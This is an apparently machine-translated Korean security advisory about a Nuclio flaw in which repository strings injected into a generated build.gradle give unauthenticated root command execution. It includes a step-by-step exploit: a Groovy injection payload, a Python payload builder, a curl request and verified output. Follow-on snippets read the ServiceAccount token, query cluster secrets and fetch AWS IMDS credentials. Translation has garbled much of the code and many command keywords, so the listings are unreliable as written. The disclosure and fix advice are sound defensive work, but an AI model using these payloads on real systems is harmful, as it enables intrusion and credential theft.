Nuclio: Groovy build.gradle에 주입된 위생되지 않은 RuntimeAttributes.repositories가 빌드 타임 RCE로 이어집니다.
Nuclio의 Java 런타임은 Go의 text/template 패키지를 사용하여 함수 빌드 중에 build.gradle 파일을 생성합니다. 템플릿은 {{ 를 사용하여 runtimeAttributes.repositories[] 값을 렌더링합니다. }} 액션은 이스케이프를 수행하지 않습니다. 공격자는 닫는 중괄호(})를 삽입하여 repositories {} 블록을 벗어나 Gradle 구성 단계에서 무조건 실행되는 임의의 Groovy 문을 추가할 수 있습니다.
Dashboard API는 기본적으로 NOP 인증으로 실행되므로 자격 증명이 필요하지 않습니다. 빌드 컨테이너는 루트로 실행됩니다. 동적 테스트를 통해 확인된 삽입된 명령 출력은 다음과 같습니다.
[RCE-PROOF] uid=0(루트) gid=0(루트) 그룹=0(루트)
nuclio-kanikojob.nuclioprocessorvul006rcev3latest.tkxsslz06ppcr
뿌리
512ms 만에 빌드 성공
pkg/processor/build/runtime/java/runtime.go — createGradleBuildScript() 함수
1단계. 유효성 검사 없이 API에서 템플릿 데이터 맵으로 사용자 입력 흐름
types.go:50-64 — newBuildAttributes()는 콘텐츠 검사 없이 runtimeAttributes를 디코딩합니다. Repositories의 각 요소에는 모든 문자열이 허용됩니다.
``가다 // 패키지/프로세서/빌드/런타임/java/types.go:50-64 func newBuildAttributes(encodedBuildAttributes map[string]interface{}) (*buildAttributes, 오류) { newBuildAttributes := buildAttributes{} if err := mapstructure.Decode(encodedBuildAttributes, &newBuildAttributes); 오류 != 없음 { nil 반환, 오류.Wrap(err, "빌드 속성을 디코딩하지 못했습니다.") } len(newBuildAttributes.Repositories) == 0인 경우 { newBuildAttributes.Repositories = []string{"mavenCentral()"} } return &newBuildAttributes, nil // 저장소 문자열 내용 검증 없음 }
**2단계. `text/template`은 리포지토리를 Groovy DSL로 그대로 렌더링합니다**
`runtime.go:111,139` — 템플릿은 특수 문자를 HTML로 인코딩하거나 이스케이프하지 않는 `text/template`으로 구문 분석됩니다. `{{ . }}`는 각 저장소 문자열을 있는 그대로 내보냅니다.
``가다
// 런타임.go:111
gradleBuildScriptTemplate, err := template.New("gradleBuildScript").Parse(j.getGradleBuildScriptTemplateContents())
// 런타임.go:139
err = gradleBuildScriptTemplate.Execute(io.MultiWriter(&gradleBuildScriptTemplateBuffer, buildFile), data)
저장소용 템플릿 섹션(runtime.go:155-159):
저장소 {
{{ 범위 .저장소 }}
{{ . }}
{{ 끝 }}
}
{{ . }}는 축어적 출력 작업입니다. text/template(html/template과 달리)은 상황별 이스케이프를 적용하지 않기 때문에 }, (, ), 개행 문자를 포함한 모든 문자는 .gradle 파일에 직접 기록됩니다.
3단계. Gradle은 구성 단계에서 주입된 Groovy를 평가합니다
생성된 build.gradle은 quay.io/nuclio/handler-builder-java-onbuild 컨테이너 내부의 ./build-user-handler.sh에 전달됩니다. 해당 스크립트는 다음과 같이 실행됩니다.
``쉬 Gradle 작업 # 구성 단계: 최상위 Groovy 실행 gradle userHandler # 구성 단계: 최상위 Groovy가 다시 실행됩니다.
Groovy는 작업을 실행하기 전에 'build.gradle'의 모든 최상위 명령문을 평가합니다. 따라서 삽입된 코드는 두 호출 모두에서 무조건 실행됩니다.
### 주입 메커니즘
`저장소[0]`에 대한 페이로드:
메이븐센트럴() } println('[RCE-PROOF] ' + ['sh', '-c', 'id && 호스트 이름 && whoami'].execute().text) 저장소 {
`build.gradle` 생성(`/tmp/nuclio-build-378373988/staging/handler/build.gradle` 경로에서 대시보드 DEBUG 로그로 확인됨):
``그루비
플러그인 {
ID 'com.github.johnrengelman.shadow' 버전 '5.2.0'
아이디는 '자바'
}
저장소 {
메이븐센트럴()
}
println('[RCE-PROOF] ' + ['sh', '-c', 'id && 호스트 이름 && whoami'].execute().text)
저장소 {
}
의존성 {
파일 컴파일('./nuclio-sdk-java-1.1.0.jar')
}
그림자병 {
baseName = '사용자 핸들러'
분류자 = null
}
태스크 userHandler(dependentOn:shadowJar)
9행의 }는 repositories {} 블록을 닫습니다. 10행의 println(...)은 최상위 Groovy 명령문이 됩니다. 11행의 repositories {는 템플릿의 후행 }이 올바르게 닫히는 새 블록을 다시 열어 전체 파일을 구문적으로 유효하게 만듭니다.
Groovy의 List.execute() 확장 메서드(예: ['sh', '-c', 'cmd'].execute())는 OS 프로세스를 실행합니다. .text는 표준 출력을 캡처합니다. 주입된 println은 kaniko 실행기 로그에 나타나는 Gradle의 stdout에 출력을 기록합니다.
다음 단계에서는 검증된 환경을 재현합니다. 모든 명령은 2026-05-17에 실행되고 확인되었습니다.
``배쉬 고양이 > /tmp/kind-vul006.yaml <<'EOF' 종류: 클러스터 api버전: kind.x-k8s.io/v1alpha4 노드:
종류 생성 클러스터 --name vul-006 --config /tmp/kind-vul006.yaml
예상 출력:
클러스터 'vul-006' 생성 중... ✓ 노드 이미지 확보(kindest/node:v1.27.3) ✓ 노드 준비 ✓ 구성 작성 ✓ 제어 평면 시작 ✓ CNI 설치 ✓ StorageClass 설치 ✓ 작업자 노드 가입 kubectl 컨텍스트를 "kind-vul-006"으로 설정
#### 2. 필수 이미지를 미리 로드합니다.
``배쉬
# 호스트에서 이미지 가져오기
도커 풀 quay.io/nuclio/dashboard:1.15.27-amd64
도커 풀 quay.io/nuclio/controller:1.15.27-amd64
docker pull gcr.io/kaniko-project/executor:v1.23.2
도커 풀 quay.io/nuclio/handler-builder-java-onbuild:1.15.27-amd64
# 종류 클러스터에 로드
종류 로드 docker-image quay.io/nuclio/dashboard:1.15.27-amd64 --name vul-006
종류 로드 docker-image quay.io/nuclio/controller:1.15.27-amd64 --name vul-006
종류 로드 docker-image gcr.io/kaniko-project/executor:v1.23.2 --name vul-006
종류 로드 docker-image quay.io/nuclio/handler-builder-java-onbuild:1.15.27-amd64 --name vul-006
``배쉬
docker run -d --name kind-registry --restart=always
--network 종류 -p 127.0.0.1:5001:5000 레지스트리:2
REGISTRY_IP=$(docker는 종류 레지스트리를 검사합니다.
--format '{{(index .NetworkSettings.Networks "kind").IPAddress}}')
docker exec vul-006-control-plane 컬 -s http://${REGISTRY_IP}:5000/v2/
#### 4. Helm을 통해 Nuclio 설치
``배쉬
kubectl --context kind-vul-006 네임스페이스 생성 nuclio
고양이 > /tmp/nuclio-values.yaml <<'EOF'
대시보드:
활성화됨: 사실
ContainerBuilderKind: "kaniko"
monitorDockerDeamon:
활성화됨: 거짓
이미지:
pullPolicy: IfNotPresent
카니코:
insecurePushRegistry: 사실
안전하지 않은PullRegistry: 사실
initContainer이미지:
비지박스:
저장소: gcr.io/iguazio/alpine # Docker Hub 속도가 제한된 경우 busybox를 대체합니다.
태그: "3.20"
레지스트리:
pushPullUrl: "종류-등록:5000"
컨트롤러:
활성화됨: 사실
이미지:
pullPolicy: IfNotPresent
rbac:
생성: 사실
crdAccessMode: 클러스터
EOF
helm 설치 nuclio ./hack/k8s/helm/nuclio \
--네임스페이스 nuclio \
--kube-context 종류-vul-006 \
-f /tmp/nuclio-values.yaml \
--wait --timeout 120초
예상 출력:
이름: 뉴클리오
상태: 배포됨
개정: 1
``배쉬
kubectl --context kind-vul-006 포트 전달
-n nuclio svc/nuclio-dashboard 8070:8070 &
수면 5 컬 -s http://localhost:8070/api/functions -o /dev/null -w "HTTP %{http_code}\n"
컬 -s -X POST http://localhost:8070/api/projects
-H "콘텐츠 유형: 애플리케이션/json"
-d '{"메타데이터":{"이름":"기본값","네임스페이스":"nuclio"},"spec":{}}'
### 악용 단계
#### 1단계 — 악성 기능 정의 보내기
`runtimeAttributes.repositories` 필드는 모든 문자열을 허용합니다. Python을 사용하여 빌드하기
올바르게 이스케이프된 JSON 페이로드:
``파이썬
JSON, Base64 가져오기
# 최소한의 유효한 Java 핸들러 소스
java_src = """import io.nuclio.Context;
io.nuclio.Event 가져오기;
공개 클래스 핸들러는 io.nuclio.EventHandler를 구현합니다.
@오버라이드
public Object handlerEvent(Context ctx, Event event) { return "hello"; }
}"""
# 주입: 저장소 블록을 닫고, 명령을 실행하고, 블록을 다시 엽니다.
주입 = (
"mavenCentral()\n"
"}\n"
"println('[RCE-PROOF] ' + ['sh', '-c', 'id && 호스트 이름 && whoami'].execute().text)\n"
"저장소 {"
)
페이로드 = {
"메타데이터": {"이름": "vul006-test", "네임스페이스": "nuclio"},
"사양": {
"런타임": "자바",
"핸들러": "io.nuclio.Handler",
"빌드": {
"functionSourceCode": base64.b64encode(java_src.encode()).decode(),
"runtimeAttributes": {"저장소": [주입]}
},
"minReplicas": 0, "maxReplicas": 1
}
}
open("/tmp/payload.json", "w")을 f로 사용:
json.dump(페이로드, f)
``배쉬
HTTP_CODE=$(curl -s -o /tmp/response.json -w "%{http_code}"
-X POST http://localhost:8070/api/functions
-H "콘텐츠 유형: 애플리케이션/json"
-H "x-nuclio-프로젝트 이름: 기본값"
-d @/tmp/payload.json)
echo "HTTP: ${HTTP_CODE}"
예상 출력:
HTTP: 202
인증이 필요하지 않습니다. 삽입된 저장소 값에 대한 유효성 검사 오류가 없습니다.
#### 2단계 — 대시보드 DEBUG 로그에서 템플릿 삽입 확인
``배쉬
kubectl --context kind-vul-006 로그 \
-n nuclio 배포/nuclio-dashboard --tail=100 \
| grep "gradle 빌드 스크립트 생성" \
| python3 -c "
sys, json, re 가져오기
sys.stdin의 라인에 대해:
m = re.search(r'생성된 Gradle 빌드 스크립트({.*})', line)
만일 내가:
print(json.loads(m.group(1))['content'])
"
실제 출력(검증된 실행에서):
플러그인 {
ID 'com.github.johnrengelman.shadow' 버전 '5.2.0'
아이디는 '자바'
}
저장소 {
메이븐센트럴()
}
println('[RCE-PROOF] ' + ['sh', '-c', 'id && 호스트 이름 && whoami'].execute().text)
저장소 {
}
의존성 {
파일 컴파일('./nuclio-sdk-java-1.1.0.jar')
}
그림자병 {
baseName = '사용자 핸들러'
분류자 = null
}
태스크 userHandler(dependentOn:shadowJar)
대시보드 DEBUG 로그(기록된 경로: /tmp/nuclio-build-378373988/staging/handler/build.gradle)는 주입된 Groovy가 파일에 그대로 도달했음을 확인합니다.
``배쉬
kubectl --context kind-vul-006 포드 가져오기 전까지 -n nuclio --no-headers
| grep -q "카니코"; 잠을 자세요 2; 완료
POD=$(kubectl --context kind-vul-006 포드 가져오기 -n nuclio --no-headers
| 그렙 카니코 | awk '{인쇄 $1}')
echo "포드 빌드: ${POD}"
kubectl --context kind-vul-006 get pod -n nuclio "${POD}" \까지 --헤더 없음 | grep -qE "완료|오류"; 3 자세요; 완료
kubectl --context kind-vul-006 records -n nuclio "${POD}"
-c kaniko 실행자 | grep -A3 "RCE 증명"
실제 출력(확인된 실행, 포드 `nuclio-kanikojob.nuclioprocessorvul006rcev3latest.tkxsslz06ppcr`에서):
[RCE-PROOF] uid=0(루트) gid=0(루트) 그룹=0(루트) nuclio-kanikojob.nuclioprocessorvul006rcev3latest.tkxsslz06ppcr 뿌리 2초 만에 빌드 성공
[RCE-PROOF] uid=0(루트) gid=0(루트) 그룹=0(루트) nuclio-kanikojob.nuclioprocessorvul006rcev3latest.tkxsslz06ppcr 뿌리 512ms 만에 빌드 성공
`[RCE-PROOF]` 마커는 `gradle` 호출마다 한 번씩 두 번 나타납니다(`gradle 작업`
및 `gradle userHandler`). 출력은 다음을 확인합니다.
- `uid=0(root)` — 빌더 컨테이너 내부에서 루트로 실행
- 포드 이름을 호스트 이름으로 - 시뮬레이션이 아닌 실제 빌드 컨테이너 내부에서 실행이 이루어졌는지 확인합니다.
- `root` - `whoami` 출력이 UID를 확증합니다.
### 정리
``배쉬
kubectl --context kind-vul-006 nucliofunction vul006-test -n nuclio 삭제
종류 삭제 클러스터 --name vul-006
인증되지 않은 공격자는 모든 Java 함수 빌드의 함수 빌더 컨테이너 내에서 루트로 임의의 OS 명령을 실행할 수 있습니다. 빌드 컨테이너 환경에서 확인된 기능:
.jar)를 패키지하기 전에 변조합니다.
프로세서 이미지 — 결과 함수의 이미지를 효과적으로 오염시킵니다.검증 결과: 기본 Docker 빌더 구성에서는 Gradle 코드 삽입을 통한 직접 Docker 소켓 이스케이프가 악용될 수 없습니다.
NUCLIO_CONTAINER_BUILDER_KIND=docker(kubectl explain을 통해 확인됨)nuclio-dashboard-5f8ddc949c-sfzh4마운트:
docker-sock(rw)의 /var/run/docker.sock
볼륨:
도커 양말:
유형: HostPath(베어 호스트 디렉터리 볼륨)
경로: /var/run/docker.sock
Docker 소켓은 대시보드 컨테이너 자체 내에서 액세스할 수 있습니다(Docker v29.1.2 API에 도달할 수 있는 것으로 확인됨).
Nuclio는 Dockerfile.onbuild를 생성하고 이를 소켓을 통해 Docker 데몬에 제출합니다.
``도커파일 quay.io/nuclio/handler-builder-java-onbuild:1.15.27-amd64에서 COPY 핸들러/build.gradle /home/gradle/src/userHandler ${NUCLIO_BUILD_LOCAL_HANDLER_DIR} 복사 /home/gradle/src/userHandler RUN cd /home/gradle/src/userHandler && ./build-user-handler.sh # 여기서 Gradle이 실행됩니다.
실행된 실제 명령(대시보드 DEBUG 로그에서):
docker build --network 호스트 --force-rm -t nuclio-onbuild-d8602mam53lc7e12q410
-f Dockerfile.onbuild --build-arg NUCLIO_LABEL=1.15.27 ...
#### 프로브 결과(7/9단계 RUN 레이어)
`repositories[0]`에 주입 페이로드:
메이븐센트럴() } println('[PROBE-1] docker.sock 존재: ' + new File('/var/run/docker.sock').exists()) println('[PROBE-2] ' + ['sh', '-c', 'ls -la /var/run/docker.sock 2>&1 || echo NOT_FOUND'].execute().text) println('[PROBE-ENV] 호스트 이름=' + ['sh', '-c', '호스트 이름'].execute().text.trim()) 저장소 {
Gradle 출력(`gradle task` / `gradle userHandler` 호출당 한 번씩 두 번 캡처됨):
프로젝트 구성 : [PROBE-1] docker.sock이 존재합니다: false [PROBE-2] ls: '/var/run/docker.sock'에 액세스할 수 없습니다. 해당 파일이나 디렉터리가 없습니다. NOT_FOUND
[PROBE-ENV] 호스트 이름=VM-0-8-ubuntu
2초 만에 빌드 성공
RCE가 성공적으로 실행되었습니다. `docker.sock`은 `RUN` 단계 컨테이너 내부에 존재하지 않습니다.
#### 근본 원인
`docker build`의 각 `RUN` 명령은 격리된 중간 컨테이너 내부에서 실행됩니다.
(`b747a20b21ba`). 해당 컨테이너:
1. 이미지 레이어로만 구축된 파일 시스템이 있습니다. 이는 호출자(대시보드 컨테이너)로부터 볼륨 마운트를 상속하지 **않습니다**.
2. `--network host`는 호스트 네트워크 네임스페이스를 공유하지만(`hostname=VM-0-8-ubuntu` 설명) 파일 시스템을 공유하지 **않습니다**.
3. Docker 데몬은 Dockerfile이 명시적으로 정렬하지 않는 한 호스트 파일 시스템(`/var/run/docker.sock` 포함)을 빌드 단계 컨테이너에 노출하지 않습니다.
#### 악용에 필요한 조건
이 경로는 기본이 아닌 구성에서만 악용 가능합니다.
- **명시적인 소켓 바인드가 포함된 Docker 파일**: 예를 들어 onbuild 이미지의 BuildKit `--mount=type=bind,source=/var/run/docker.sock,...` 또는 `docker build`를 `docker run -v /var/run/docker.sock:/var/run/docker.sock`으로 대체
- **권한 있는 빌드 컨테이너**: `mknod` 장치 노드 생성을 포함한 `--privileged` 모드
- **Docker-in-Docker 설정**: Docker 데몬이 사전 설치되어 빌더 이미지 내에서 실행됨
표준 Nuclio Helm 차트 배포에는 이러한 조건이 없습니다.
증거: `evidence/logs/docker-builder-socket-probe.log`
### 권한 상승 - Kubernetes ServiceAccount 토큰
빌드 포드는 내부에 탑재된 ServiceAccount 토큰을 읽을 수 있습니다. **그러나** kaniko Job의 `serviceAccountName`은 `builderServiceAccount`, 함수 `serviceAccount`, `kaniko.defaultServiceAccount` 또는 플랫폼의 기본 함수 SA(`pkg/containerimagebuilderpusher/kaniko.go:301`, `:375`, `:840-849` 참조)에서 제공됩니다. 이는 본질적으로 Nuclio Dashboard의 높은 권한 ServiceAccount와 동일하지 않습니다.
빌드 포드가 높은 권한의 ServiceAccount를 사용하는 배포(예: 관리자가 지나치게 광범위한 RBAC 역할을 빌더 SA에 바인딩한 경우)에서 공격자는 토큰을 읽고 Kubernetes API를 쿼리할 수 있습니다.
``그루비
// 빌드 포드의 자체 SA 토큰을 읽습니다(대시보드 SA가 아님).
def 토큰 = 새 파일('/var/run/secrets/kubernetes.io/serviceaccount/token').text
['sh', '-c', "curl -sk -H '권한 부여: 전달자 ${token}' " +
'https://kubernetes.default.svc/api/v1/namespaces/nuclio/secrets'].execute().text
이 토큰의 유효 권한은 빌드 포드 ServiceAccount의 RBAC 바인딩에 따라 달라집니다. 최소 권한 구성에서는 이 토큰이 민감한 리소스에 액세스하지 못할 수도 있습니다.
Nuclio는 테넌트 격리를 위해 Kubernetes 네임스페이스를 사용합니다. Docker 모드에서 컨테이너를 빌드하면 호스트 Docker 데몬을 공유합니다. 공격자는 Docker 소켓을 통해 다른 테넌트에 속한 컨테이너를 열거하고 액세스할 수 있습니다.
EKS, GKE 또는 AKS 환경에서 빌드 컨테이너는 클라우드 인스턴스 메타데이터 서비스에 연결할 수 있습니다.
``그루비 // AWS IMDSv2 — IAM 역할 자격 증명 검색 def imdsToken = ['sh', '-c', 'curl -s -X PUT "http://169.254.169.254/latest/api/token" ' + '-H "X-aws-ec2-metadata-token-ttl-seconds: 21600"'].execute().text.trim() def 역할 = ['sh', '-c', "curl -s -H 'X-aws-ec2-metadata-token: ${imdsToken}' " + 'http://169.254.169.254/latest/meta-data/iam/security-credentials/'].execute().text
획득한 임시 IAM 자격 증명은 노드의 IAM 역할에 사용할 수 있는 AWS 서비스(ECR, S3 등)에 대한 액세스 권한을 부여합니다.
---
## 심각도
**CVSS 3.1 점수: 10.0(긴급)**
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
| 미터법 | 가치 | 근거 |
|---------|-------|------------|
| 공격 벡터 | 네트워크 | 대시보드 API는 네트워크 액세스 가능 |
| 공격 복잡성 | 낮음 | 단일 POST 요청; 경쟁 조건이나 특별한 준비가 없습니다 |
| 필요한 권한 | 없음 | 기본 NOP 인증에는 자격 증명이 필요하지 않습니다. |
| 사용자 상호작용 | 없음 | 사용자 조치가 필요하지 않습니다 |
| 범위 | 변경됨 | 일반적인 프로덕션 배포에서 영향이 빌드 컨테이너를 벗어날 수 있음(아래 참조) |
| 기밀성 | 높음 | 대부분의 배포에서 읽을 수 있는 레지스트리 자격 증명, SA 토큰, 클라우드 자격 증명 |
| 무결성 | 높음 | 함수 이미지는 변조될 수 있습니다. 클러스터 리소스 수정 가능 |
| 가용성 | 높음 | 빌드 파이프라인이 중단될 수 있습니다. 클러스터 리소스 삭제 가능 |
### 평가 근거
이 RCE는 추가 자격 증명 획득 및 빌드 컨테이너의 측면 이동을 위한 현실적인 조건을 갖추고 있습니다. 특히 다음과 같은 일반적인 프로덕션 배포 시나리오에서는 다음과 같습니다.
- Kaniko 빌드는 레지스트리 비밀(빌드 포드에 마운트된 이미지 푸시 자격 증명)을 사용합니다.
- ECR 레지스트리 공급자 비밀이 구성됩니다.
- 노드 IAM 메타데이터에 접근 가능(IMDS가 차단되지 않음)
- 빌드 포드는 높은 권한의 ServiceAccount를 사용합니다.
공격자는 이미지 레지스트리 자격 증명, AWS/GCP 임시 자격 증명 또는 Kubernetes SA 토큰을 읽은 후 이미지 레지스트리를 감염시키거나 클러스터 리소스에 액세스하거나 클라우드 리소스로 전환할 수 있습니다. **중요** 등급은 이러한 일반적인 배포 조건에서 정당화됩니다.
**다운그레이드 조건**: 배포가 최소 권한 원칙(레지스트리/클라우드 자격 증명 마운트 없음, IMDS 차단, 빌드 SA에 민감한 RBAC 바인딩 없음)을 따르는 경우 영향은 주로 빌드 컨테이너 내의 코드 실행 및 아티팩트 변조로 제한됩니다. 이는 심각도가 **높음**으로 유지되지만 "기본 측면 이동"을 기준으로 정당화되어서는 안 됩니다.
---
## 영향을 받는 버전
- Nuclio <= **1.15.27** (2026-05-17 기준 최신 릴리스)
- Java 런타임 빌드 경로를 포함하는 모든 버전
(`pkg/processor/build/runtime/java/runtime.go`)
이 취약점은 Java 런타임 및 해당 'runtimeAttributes' 지원이 추가되었을 때 발생했으며 현재까지 어떤 릴리스에서도 해결되지 않았습니다.
---
## 패치 버전
https://github.com/nuclio/nuclio/releases/tag/1.16.5
---
## 해결 방법
패치가 출시될 때까지 다음 완화 조치를 통해 노출을 줄일 수 있습니다.
1. **대시보드에서 인증을 활성화합니다.** `NUCLIO_AUTH_KIND`를 비NOP로 설정합니다.
인증자(예: `iguazio`). 이를 통해 함수에 대한 인증되지 않은 액세스를 방지할 수 있습니다.
생성 API.
2. **대시보드 포트(8070)를 네트워크로 제한합니다.** 신뢰할 수 있는 내부에서만 액세스를 허용합니다.
네트워크 또는 VPN. 대시보드를 공용 인터넷에 노출하지 마십시오.
3. 사용하지 않는 경우 **Java 런타임 지원을 비활성화**하세요. Java 런타임 핸들러를 제거하십시오.
대시보드 배포 구성.
4. **docker builder 대신 kaniko를 사용합니다.** kaniko 모드에서는 Docker 소켓이 마운트되지 않습니다.
호스트 탈출 경로를 제거합니다. 빌드 타임 RCE는 여전히 악용 가능하지만
폭발 반경은 빌드 포드로 감소됩니다.
---
## 해결 권장 사항
**옵션 1 - 입력 유효성 검사(빠른 수정을 위해 권장)**
`newBuildAttributes()`(`types.go:50`)에서 허용하기 전에 허용 목록 패턴에 대해 각 저장소 문자열을 검증합니다.
``가다
"정규식" 가져오기
var repoPattern = regexp.MustCompile(`^[a-zA-Z0-9_\-\(\)\.:\/]+$`)
_, repo := 범위 newBuildAttributes.Repositories {
if !repoPattern.MatchString(repo) {
nil 반환, fmt.Errorf("잘못된 저장소 값: %q", repo)
}
}
옵션 2 - text/template을 안전한 렌더링 접근 방식으로 교체
저장소 블록은 Go 템플릿을 전혀 사용해서는 안 됩니다. 필드별 이스케이프 의미를 표현할 수 없는 템플릿을 통하는 대신 값별 유효성 검사와 문자열 연결을 사용하여 프로그래밍 방식으로 'build.gradle' 콘텐츠를 빌드하세요.
옵션 3 - 콘텐츠 보안: 줄바꿈 및 Groovy 메타 문자 거부
\n, \r, {, }, (, ), ', "을 포함하는 저장소 값을 거부합니다. 이러한 문자는 유효한 Maven 저장소 선언에 존재하지 않습니다.
pkg/processor/build/runtime/java/runtime.go — createGradleBuildScript() (라인 87)pkg/processor/build/runtime/java/runtime.go — getGradleBuildScriptTemplateContents() (라인 149)pkg/processor/build/runtime/java/types.go — newBuildAttributes()(라인 50)text/template 문서 이동: https://pkg.go.dev/text/templateList.execute() / String.execute(): https://docs.groovy-lang.org/latest/html/groovy-jdk/java/lang/String.html#execute()왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도 | 80.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 80.00 |
VPI 공식 vpi-v1 기준